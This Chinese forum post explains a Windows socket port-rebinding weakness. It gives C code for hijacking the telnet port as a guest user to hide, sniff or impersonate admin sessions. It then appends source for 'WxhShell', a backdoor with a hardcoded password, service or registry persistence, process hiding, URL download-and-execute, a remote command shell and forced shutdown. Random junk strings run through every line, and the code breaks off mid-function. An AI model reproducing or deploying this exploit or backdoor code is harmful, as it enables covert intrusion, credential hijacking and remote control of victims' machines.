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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g-8D1.U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B(t`$mC  
AC}[Q p!  
  saddr.sin_family = AF_INET; N, SbJ Z  
M8y:FDX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pj9*$.{  
] i:WP2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DPg\y".4Y&  
d [f,Nu'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aJ3.D  
l6~wm1vO  
  这意味着什么?意味着可以进行如下的攻击: _rakTo8BY  
C>=[fAr mO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q| _e=  
A1p87o>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $9@jV<Q1  
]; Z[V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <oKoz0!  
UfxY D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !+H)N  
>X58 zlxk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `iZ){JfAH  
9h/JW_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 30fqD1_{  
?qJt4Om  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LLD#)Jl{?  
R|g50Q  
  #include |EZ\+!8N:{  
  #include b sM ]5^  
  #include 'jA>P\@8  
  #include    aUYq~E tj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GC3WB4iY@U  
  int main()  SCq:jI  
  { e anR$I;Yj  
  WORD wVersionRequested; <_>xkQbn2  
  DWORD ret; #]5A|-O^  
  WSADATA wsaData; YW7Pimks  
  BOOL val; Cw$7d:u  
  SOCKADDR_IN saddr; r- 8fvBZ5  
  SOCKADDR_IN scaddr; (CR]96n  
  int err; kD\7wz,ui  
  SOCKET s; h#~\-j9>  
  SOCKET sc; Qk[YF  
  int caddsize; 0@LC8Bz+'  
  HANDLE mt; U.A:'9K,  
  DWORD tid;   X"EZpJ'W  
  wVersionRequested = MAKEWORD( 2, 2 ); IY40d^x  
  err = WSAStartup( wVersionRequested, &wsaData ); ~m6b6Aj@6  
  if ( err != 0 ) { -PiakX  
  printf("error!WSAStartup failed!\n"); Q`)iy/1M  
  return -1; K'f`}y9  
  } G<W;HMj2  
  saddr.sin_family = AF_INET; m'PU0x  
   ]y\Wc0 q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _L% =Q ulu  
h]>7Dl]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Rc2JgV  
  saddr.sin_port = htons(23); (TTS-(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r~YxtBZH+  
  { xtFGj,N  
  printf("error!socket failed!\n"); W!o|0u!D  
  return -1; E@/* eJ  
  } qq '%9  
  val = TRUE; 8s9ZY4_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F&u)wI'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wB+X@AA  
  { ;2}wrX  
  printf("error!setsockopt failed!\n"); ;)23@6{R%  
  return -1; $i|d=D&t  
  } A/TCJ#>l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CNl @8&R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a&!K5(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m"f3hd4D_q  
3,yzRb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6m mc{kw'  
  { Qpocj:  
  ret=GetLastError(); FjV)QP H  
  printf("error!bind failed!\n"); YLv5[pV  
  return -1; VM}7 ~  
  } gaWJzK Yc_  
  listen(s,2); i)q8p  
  while(1) E(!b_C&  
  { :6jh*,OHZl  
  caddsize = sizeof(scaddr); 1!W'0LPM  
  //接受连接请求 f-`C1|\w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ] XjL""EbC  
  if(sc!=INVALID_SOCKET) +lw8YH  
  { U W' @3#<?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %\] x}IC  
  if(mt==NULL) 9GtVcucN  
  { p8(Z{TSv  
  printf("Thread Creat Failed!\n"); `5 Iaz  
  break; a`6R}|ZB  
  } Dg}$;PK  
  } $ww0$  
  CloseHandle(mt); ;[B-!F>  
  } +'9E4Lpx  
  closesocket(s); agd^ga3  
  WSACleanup(); i\dd  
  return 0; ']U<R=5T$  
  }   s<{) X$  
  DWORD WINAPI ClientThread(LPVOID lpParam) V/]o':  
  { &3f^]n!@  
  SOCKET ss = (SOCKET)lpParam; _sK{qQxvM=  
  SOCKET sc; $1Qcz,4B|  
  unsigned char buf[4096]; in7h^6?I  
  SOCKADDR_IN saddr; 2" u,f  
  long num; ,t +sw4  
  DWORD val; gX]ewbPDQ  
  DWORD ret; Gz:ell$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Slv91c&md,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p^)w$UL}}  
  saddr.sin_family = AF_INET; s)G?5Gz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0M!GoqaA  
  saddr.sin_port = htons(23); e.WKf,e"X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uxlrJ1~M  
  { v}TFM  
  printf("error!socket failed!\n"); K(#O@Wmjq  
  return -1; 8'M:uI  
  } @plh'f}  
  val = 100; M{g.x4M@W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zy`T! $  
  { ^s\T<;  
  ret = GetLastError(); Y+{jG(rg.F  
  return -1; NUFW SL>  
  } _&N}.y)+t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z8`Y}#Za[  
  { uM,R+)3  
  ret = GetLastError(); -z">ov-)  
  return -1; W<:x4gBa  
  } fR]KXfZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $f=6>Kn|^]  
  { tLcw?aB  
  printf("error!socket connect failed!\n"); NAOCQDk{  
  closesocket(sc); 7^C&2k 5G  
  closesocket(ss); -vv_6Z L[  
  return -1; 0:JNkXZ:  
  } Q CO,f  
  while(1) {E0\mZ2  
  { xlH3t&i7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :!JQ<kV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mbns%%GJU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tj+U:#!!~  
  num = recv(ss,buf,4096,0); 4v` G/w  
  if(num>0) CSY-{  
  send(sc,buf,num,0); R6TT1Ka3c  
  else if(num==0) L tUvFe  
  break; W#2} EX  
  num = recv(sc,buf,4096,0); x[xRqC vL  
  if(num>0) aYM~Ub:x{  
  send(ss,buf,num,0); R '8S)'l  
  else if(num==0) 7CH.BY  
  break; 3taGb>15  
  } Bru];%Qg%  
  closesocket(ss); ^^F 8M0k3  
  closesocket(sc); ]Y@_2`  
  return 0 ; jVh:Bw  
  } WF:4p]0~)  
_l2_) ~  
[^D>xD3B2  
========================================================== !E|m'_x*  
bu -6}T+  
下边附上一个代码,,WXhSHELL {< EPm&q  
+X`&VO6~  
========================================================== R{ udV  
Tv6y +l  
#include "stdafx.h" GWLdz0`2_  
=~5N/!  
#include <stdio.h> 5H 1N]v+  
#include <string.h> \01 kK)  
#include <windows.h> ?Qx4Z3n  
#include <winsock2.h> DP;:%L}  
#include <winsvc.h> j+e~ tCcN/  
#include <urlmon.h> t+K1ArQc  
_Tm]tlV  
#pragma comment (lib, "Ws2_32.lib") UA(4mbz+  
#pragma comment (lib, "urlmon.lib") /pV N1Yt  
3D^cPkX  
#define MAX_USER   100 // 最大客户端连接数 H>},{ z  
#define BUF_SOCK   200 // sock buffer hy>0'$mU  
#define KEY_BUFF   255 // 输入 buffer \XwC|[%P  
!2>@:CKX  
#define REBOOT     0   // 重启 s6r(\L_Im  
#define SHUTDOWN   1   // 关机 Mdh]qKw  
ZH*h1?\X  
#define DEF_PORT   5000 // 监听端口 zl| XZ  
x6*y$D^B  
#define REG_LEN     16   // 注册表键长度 ={f8s,m)P,  
#define SVC_LEN     80   // NT服务名长度 n_:EWm$\  
pe<T" [X  
// 从dll定义API ]0BX5Z'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R.DUfU"gp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \98N8p;,I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ><S(n#EB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o 0T1pGs'  
gf?N(,  
// wxhshell配置信息 .Z#/%y3S  
struct WSCFG { ,fqM>Q  
  int ws_port;         // 监听端口 L62%s[  
  char ws_passstr[REG_LEN]; // 口令 K|OPtYeb  
  int ws_autoins;       // 安装标记, 1=yes 0=no wX_~H*m?  
  char ws_regname[REG_LEN]; // 注册表键名 >2= Y 35j  
  char ws_svcname[REG_LEN]; // 服务名 e ;^}@X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GgnR*DVP$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M< .1U?_#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~mwIr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QPh3(K1w^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^b}Wl0Fn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C/H;|3.X  
bwcr/J( Nb  
}; LAY:R{vI  
_*n `*"  
// default Wxhshell configuration fms(_Q:R?  
struct WSCFG wscfg={DEF_PORT, cA|vH^:  
    "xuhuanlingzhe", yimK"4!j5A  
    1, e /1x/v'  
    "Wxhshell", +95v=[t#Ut  
    "Wxhshell", bC~I}^i\  
            "WxhShell Service", 5pC}ZgEa<  
    "Wrsky Windows CmdShell Service", t`{T:Tjc  
    "Please Input Your Password: ", 1e7I2g  
  1, ek U%^R<  
  "http://www.wrsky.com/wxhshell.exe", (9kR'kr  
  "Wxhshell.exe" 3Pgokj   
    }; >\3\&[#"  
vU5}E\Ny  
// 消息定义模块 ( Cg vI*O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bar=^V)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k#u)+e.'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D6|-nl  
char *msg_ws_ext="\n\rExit."; ,hT.Ok={36  
char *msg_ws_end="\n\rQuit."; 1r_V$o$  
char *msg_ws_boot="\n\rReboot..."; ;ISe@ yR;  
char *msg_ws_poff="\n\rShutdown..."; k<CbI V  
char *msg_ws_down="\n\rSave to "; mF|KjX~s  
)7[#Ti  
char *msg_ws_err="\n\rErr!"; u"m(a:jQ  
char *msg_ws_ok="\n\rOK!"; ^Il*`&+?P  
`C C=?E  
char ExeFile[MAX_PATH]; &6 <a<S  
int nUser = 0; h_+  
HANDLE handles[MAX_USER]; PB7-`uz  
int OsIsNt; j;7E+Yp  
D6l. x]K  
SERVICE_STATUS       serviceStatus; 9jX_Eoxy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >KvK'Mus/  
^Y+Lf]zz*  
// 函数声明 b GI){0A  
int Install(void); kP^A~ZO.  
int Uninstall(void); XPD1HN!,LT  
int DownloadFile(char *sURL, SOCKET wsh); _H@ATut  
int Boot(int flag); Z<^!N)  
void HideProc(void); ,W|-?b?   
int GetOsVer(void); 02trjp.f  
int Wxhshell(SOCKET wsl); ciiI{T[Z  
void TalkWithClient(void *cs); '21gUYm  
int CmdShell(SOCKET sock); )wCNLi>4  
int StartFromService(void); T_=WX_h $  
int StartWxhshell(LPSTR lpCmdLine); )7.DF|A  
&e;Qabwxva  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c-}[v<o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CswKT 9  
i%i />;DF  
// 数据结构和表定义 1JfZstT  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Ci/-3HV!  
{ {>9ED.t  
{wscfg.ws_svcname, NTServiceMain}, |3yG  
{NULL, NULL} #0Y_!'j  
}; H,5]w\R6\  
kltW  
// 自我安装 *o4a<.hd2  
int Install(void) LX oJw$C  
{ x.wDA3ys  
  char svExeFile[MAX_PATH]; 7`&ISRU4  
  HKEY key; |:JT+a1  
  strcpy(svExeFile,ExeFile); Xa.8-a"hz  
{, +c  
// 如果是win9x系统,修改注册表设为自启动 Ez0zk9  
if(!OsIsNt) { YzQ1c~+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |\?u-O3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PnaiSt9p?r  
  RegCloseKey(key); kaB4[u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |rwY   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D\9-/ p  
  RegCloseKey(key); 'ScvteQ  
  return 0; L 1!V'Hm{  
    } e@anX^M;  
  } )X[2~E  
} / + %  
else { nHk^trGm  
:op_J!;  
// 如果是NT以上系统,安装为系统服务 ],S {?!'1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9jqsEd-SW  
if (schSCManager!=0) @v2ko5  
{ A$5M.  
  SC_HANDLE schService = CreateService FA$32*v  
  ( rf:H$\yw  
  schSCManager, HOFxOBV  
  wscfg.ws_svcname, OQB7C0+ &  
  wscfg.ws_svcdisp, #0[^jJ3J  
  SERVICE_ALL_ACCESS, wN4#j}C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7<;oz30G!L  
  SERVICE_AUTO_START, /B~[,ES@1  
  SERVICE_ERROR_NORMAL, usD@4!PoA  
  svExeFile, BDWbWA 6  
  NULL, 'u;O2$  
  NULL, _3yG<'f[Y  
  NULL, Z 9+fTT  
  NULL, H4AT>}ri  
  NULL tLa%8@;'$  
  ); VDbbA\  
  if (schService!=0) v#/Gxk9eX  
  { @|c])  
  CloseServiceHandle(schService); QR'#]k;>%  
  CloseServiceHandle(schSCManager); w"s@q$}]8M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FZj>N(  
  strcat(svExeFile,wscfg.ws_svcname);  k-=LD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aW&)3C2-x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); II}M|qHaK  
  RegCloseKey(key); iP"sw0V8  
  return 0; +|,4g_(j  
    } XgHJ Oqt  
  } X]D,kKasG  
  CloseServiceHandle(schSCManager); DI{*E  
} ;s/<wx-C  
} 4$pV;xV  
+)"Rv%.  
return 1; U\tx{CsSz  
} l9&k!kF`  
qrlC U4  
// 自我卸载 9DNp  
int Uninstall(void) SI+Uq(k  
{ KRC"3Qt  
  HKEY key; oIj=ba(n1  
Nb`qM]&  
if(!OsIsNt) { (;},~( 2B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IUFc_uL@\  
  RegDeleteValue(key,wscfg.ws_regname); @nY]S\if  
  RegCloseKey(key); src+z#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `{G&i\"n  
  RegDeleteValue(key,wscfg.ws_regname); >9dD7FH  
  RegCloseKey(key); ! I0xq"  
  return 0; =#S.t:HQ*  
  } JN|6+.GG  
} I1U2wD  
} 96(Mu% l  
else { \H@1VgmR;  
|2u=3#Jp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?!U[~Gq  
if (schSCManager!=0) aLGq<6Ja  
{ Lr$M k#'B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {4G/HW28  
  if (schService!=0) K8sRan[4}  
  { ~I@ls Ch  
  if(DeleteService(schService)!=0) { W-n4w Ij"  
  CloseServiceHandle(schService); fx{8ERo  
  CloseServiceHandle(schSCManager); 7PX`kI  
  return 0; , ,{UGe 3  
  } 1 &9|~">{C  
  CloseServiceHandle(schService); @a?7D;+<  
  } 5dj@N3ZX7;  
  CloseServiceHandle(schSCManager); Q S&B"7;g  
} rTIu'  
} 6(f 'P_*  
Yg^ &4ZF  
return 1; Y#ZgrziYM  
} TQF+aP8[L  
GBbnR:hM  
// 从指定url下载文件 #4msBax4  
int DownloadFile(char *sURL, SOCKET wsh) x?+w8jSR  
{ 'j6O2=1  
  HRESULT hr;  mLxgvp  
char seps[]= "/"; (?na|yd  
char *token; }|kFHodo  
char *file; k||t<&`Ze  
char myURL[MAX_PATH]; }oRBQP^&K  
char myFILE[MAX_PATH]; dz] 5s  
m0"K^p  
strcpy(myURL,sURL); TmQIpeych  
  token=strtok(myURL,seps); MIrx,d  
  while(token!=NULL) rGyAzL]  
  { fORkH^Y(&  
    file=token; K -U} sW  
  token=strtok(NULL,seps); ,_Z(!| rW  
  } _F;v3|`D@<  
'BjTo*TB]Z  
GetCurrentDirectory(MAX_PATH,myFILE); ,twx4r^  
strcat(myFILE, "\\"); esqmj#G  
strcat(myFILE, file); Fz%;_%j  
  send(wsh,myFILE,strlen(myFILE),0); e"nm<&  
send(wsh,"...",3,0); b|d-vnYE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 52e>f5m.  
  if(hr==S_OK) <W"W13*j!  
return 0; Xo34~V@(  
else |`5 IP8Z  
return 1; ]dpL PR  
;Y?MbD  
} hJ@vlMW  
a[-!X7,IU  
// 系统电源模块 69g{oo  
int Boot(int flag) `t~jHe4!Y  
{ 2s\ClT  
  HANDLE hToken; l#'V SFm&  
  TOKEN_PRIVILEGES tkp; to'7o8Z  
+3)r szb72  
  if(OsIsNt) { 'r?ULft1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~zqb{o^pT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /,Xl8<~#  
    tkp.PrivilegeCount = 1; 7>JTQ CJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d~LoHp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ')y2W1  
if(flag==REBOOT) { ]:|B).  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .,bpFcQ  
  return 0; i})s4%a  
} }e?H(nZS7h  
else { /<J(\;Jr6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D@O `"2  
  return 0; 4ba*Nc*Yc  
} Z[oF4 z   
  } -K64J5|b7  
  else { 2B ]q1>a!  
if(flag==REBOOT) { oJ74Mra  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z0[XI7KK  
  return 0; O *sU|jeO  
} 4b8G 1fm  
else { O$,F ga  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )U@9dV7u  
  return 0; utlr|m Xc  
} 53HA6:Q[  
} [FO4x`  
c|&3e84U  
return 1; 7n8nJTU{4j  
} ^3;B4tj[  
<^5!]8*O  
// win9x进程隐藏模块 2{-29bq  
void HideProc(void) bdg6B7%Q  
{ ^#9385  
yqT!A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bm$|XS3cD  
  if ( hKernel != NULL ) IiU> VLa  
  { XB)D".\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $|N6I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {213/@,  
    FreeLibrary(hKernel); NAGM3{\5v$  
  } Fc~G*Gz~Z|  
nf.Ox.kM)  
return; -@pjEI  
} VW-qQe  
B~p%pT S+  
// 获取操作系统版本 !J$r|IX5  
int GetOsVer(void) FlqGexY5  
{ @!sK@&ow@%  
  OSVERSIONINFO winfo; d54iZ`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @(t3<g  
  GetVersionEx(&winfo); =+zDE0Qs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?:(y  
  return 1; =8AT[.Hh  
  else &@0~]\,D7  
  return 0; n5:uG'L\  
} 5S~ H[>A"  
z$~x 2<  
// 客户端句柄模块 F9K%f&0 a  
int Wxhshell(SOCKET wsl) xye-Z\-t  
{ d>QFmsh-  
  SOCKET wsh; HBlk~eZ  
  struct sockaddr_in client; 50,'z?-_  
  DWORD myID; !nvwRQ  
FY1iY/\Cn  
  while(nUser<MAX_USER) E }L Hp  
{ `|dyT6V0I_  
  int nSize=sizeof(client); L)e" qC_-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HQqFrR  
  if(wsh==INVALID_SOCKET) return 1; U0x A~5B  
YvR bM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pgU [di  
if(handles[nUser]==0) V;M_Y$`Lh  
  closesocket(wsh); BEdCA]T  
else O'<V[Y} 6  
  nUser++; O)'CU1vMb  
  } kK6O ZhLH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E/;t6& 6  
;tOs A #  
  return 0; ^_2c\mw_I  
} CMt<oT6.?  
$O"ss>8Se  
// 关闭 socket /9`4f"  
void CloseIt(SOCKET wsh) u47<J?!Q  
{ x~5uc$  
closesocket(wsh); R~vGaxZ$  
nUser--; d$t"Vp  
ExitThread(0); Q:}]-lJg  
} MpV<E0CmE  
/bo}I-<2  
// 客户端请求句柄 Q6h+.  
void TalkWithClient(void *cs) PL/g| ;  
{ bi<<z-q`wJ  
M\ATT%b:  
  SOCKET wsh=(SOCKET)cs; {,>G 1>Yv  
  char pwd[SVC_LEN]; \DB-2*a"  
  char cmd[KEY_BUFF]; C:QB=?%;  
char chr[1]; OVg&?fiP  
int i,j; ;%tFi  
odv2(\  
  while (nUser < MAX_USER) { S 'a- E![  
kDmm  
if(wscfg.ws_passstr) { R9XU7_3B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t{md&k4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TW|K.t@5#H  
  //ZeroMemory(pwd,KEY_BUFF); VkQ@c;C  
      i=0; kAftW '  
  while(i<SVC_LEN) { XT7m3M  
<c+.%ka  
  // 设置超时 1`cH EAa  
  fd_set FdRead; 2t= = <x  
  struct timeval TimeOut; Ge^`f<f  
  FD_ZERO(&FdRead); H 4<"+7  
  FD_SET(wsh,&FdRead); @N*|w Kc+  
  TimeOut.tv_sec=8; TnrBHaxbo4  
  TimeOut.tv_usec=0; ;mQj2Bwr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #]` uH{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O?uICnmi6  
RvzZg %)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w~lH2U'k}  
  pwd=chr[0]; sSM"~_y\  
  if(chr[0]==0xd || chr[0]==0xa) { l;-Ml{}|0  
  pwd=0; j G8;p41  
  break; Knwy%5.Z  
  } O1c%XwMn^  
  i++; Q,U0xGGz  
    } a6{Zp{"Y  
4cjfn'x  
  // 如果是非法用户,关闭 socket fdl.3~.C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vDjH $ U  
} 2 bc&sU)X  
hU?DLl:bXF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MAh1tYs4D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( t&RFzE?G  
K_i|cYGV  
while(1) { a5*r1,  
ImXYI7PL  
  ZeroMemory(cmd,KEY_BUFF); \&"C  
1%Xh[  
      // 自动支持客户端 telnet标准   4Aj~mA  
  j=0; SNj-h>&Mha  
  while(j<KEY_BUFF) { q}U+BTCZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7|,L{~  
  cmd[j]=chr[0]; : |'(T[~L  
  if(chr[0]==0xa || chr[0]==0xd) { w~ Tg?RH:  
  cmd[j]=0; $xO8?  
  break; m:@y_:X0  
  } 8Qvs\TY  
  j++; `v*HH}aDO  
    } Wjb_H (D  
kR=sr/{  
  // 下载文件 :So<N}&  
  if(strstr(cmd,"http://")) { -FZC|[is  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fi?4!h  
  if(DownloadFile(cmd,wsh)) "\|P6H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F!+1w(b:  
  else n !)$e;l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R%UTYRLUn  
  } 0jTReY-W  
  else { z8\YMr 6o  
q/O2E<=w*c  
    switch(cmd[0]) { ee {ToK  
  +B*]RL[th  
  // 帮助 kwjO5 OC8  
  case '?': { ;(C<gt,r}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @*z"Hi>4  
    break; KC;cu%H  
  } I&-r^6Yx  
  // 安装 dq 93P%X24  
  case 'i': { ]?^V xB7L  
    if(Install()) 4]o+)d.`(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'U1=w~E  
    else nCQtn%j't  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =%<=Bn  
    break; hGtz[u#p  
    } l5 9a3=q  
  // 卸载 T$;S   
  case 'r': { ';C'9k<P:  
    if(Uninstall()) gk6f_0?X'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!z{{H;W  
    else 'Lu<2=a~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eiMP:  
    break; *yBVZD|?H  
    } "Zp&7hI  
  // 显示 wxhshell 所在路径 z\ZnxZ@  
  case 'p': { DY2*B"^  
    char svExeFile[MAX_PATH]; / VYT](  
    strcpy(svExeFile,"\n\r"); "&6vFmr  
      strcat(svExeFile,ExeFile); ^/C\:hw  
        send(wsh,svExeFile,strlen(svExeFile),0); }3 xkA  
    break; h/EIFve  
    } EGXvz)y  
  // 重启 s~M$Wo8  
  case 'b': { 8~Cmn%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u)@:V)z  
    if(Boot(REBOOT)) $qD\ku;'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m23"xnRB  
    else { [qc1 V%g  
    closesocket(wsh); ~F"S]  
    ExitThread(0); j iKHx_9P  
    } ]?6wU-a  
    break; 8iIp[9~=  
    } \U:OQ.e  
  // 关机 g5y+F]'I  
  case 'd': { ajSB3}PN  
